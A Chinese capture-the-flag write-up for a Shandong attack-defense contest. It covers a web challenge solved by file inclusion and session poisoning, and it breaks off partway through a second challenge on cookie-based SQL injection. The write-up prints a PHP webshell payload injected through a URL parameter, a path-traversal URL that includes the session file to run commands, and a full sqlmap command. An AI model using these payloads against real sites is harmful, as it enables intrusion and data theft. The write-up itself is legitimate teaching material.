山东省新一代攻防赛wp
地点:聊城职业学院 , u1s1门口的小摊挺多的(哧溜~)
web
web1 (反正就是有很多页面,你能发现其中的关键信息吗?)
知识点(细心最重要!尽量每个操作都要抓包分析)
- 信息收集
- 文件包含
- 代码审计
- session特性
打开题目,只有一个登录表单
二话不说,直接dirsearch一波
/php.php 是个phpinfo
访问/register.php
注册个账户去登录,登录处抓包
后面简单测了测发现登录处过滤了单引号,sql注入是不行了,继续往下跟
发现好像进入了后台界面,同时发现了hint
<!--hint: m4nageee.php-->
但是这还是个302跳转包,跳到了/user.php?page=guest
可见程序对登录用户做了判断。
简单测了下page
参数发现有任意文件包含
包含m4nageee.php,发现后台有个表单
于是读m4nageee.php
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/profile233.html";
?>
访问templates/profile233.html
查看源代码
看到了这段代码就懂了,解释一下:
如果nick
参数为空,就把nick
的值赋给session
的nick
的值,众所周知,session
是存储在服务器端的
而且nick
的值没有做过滤,所以当session
可控时,就可以传入恶意代码
构造payload
http://47.105.128.249:36001/user.php?nick=<?php @system($_GET[c]);?>&page=m4nageee
session保存路径在之前发现的phpinfo文件可以查到
当前session
包含session文件,getshell
http://47.105.128.249:36001/user.php?page=../../../var/lib/php5/sess_90qqo7oj3p9ca8jdsousbk8ld0&c=cat fl*
flag{c785407bfa1c768e50373480ad5c2765}
web2(听说你会sqlmap,出题人专门出了道能用sqlmap跑的题,你会跑吗?)
知识点
- 信息收集
- header头注入
burp抓包登录(简单的测试了下username和password并无sql注入)
源代码中发现test:test
用户密码,尝试登录
这里发现response返回包中设置了cookie:
username=test
password=test
简单的测了下,存在SQL注入并且是sqlite数据库
直接用sqlmap跑一波
sqlmap -u "http://47.105.128.249:36002/index.php" --headers "Cookie: username=test*; password=test" --dbms sqlite --random-agent --level 3 --batch
直接跑发现跑不出来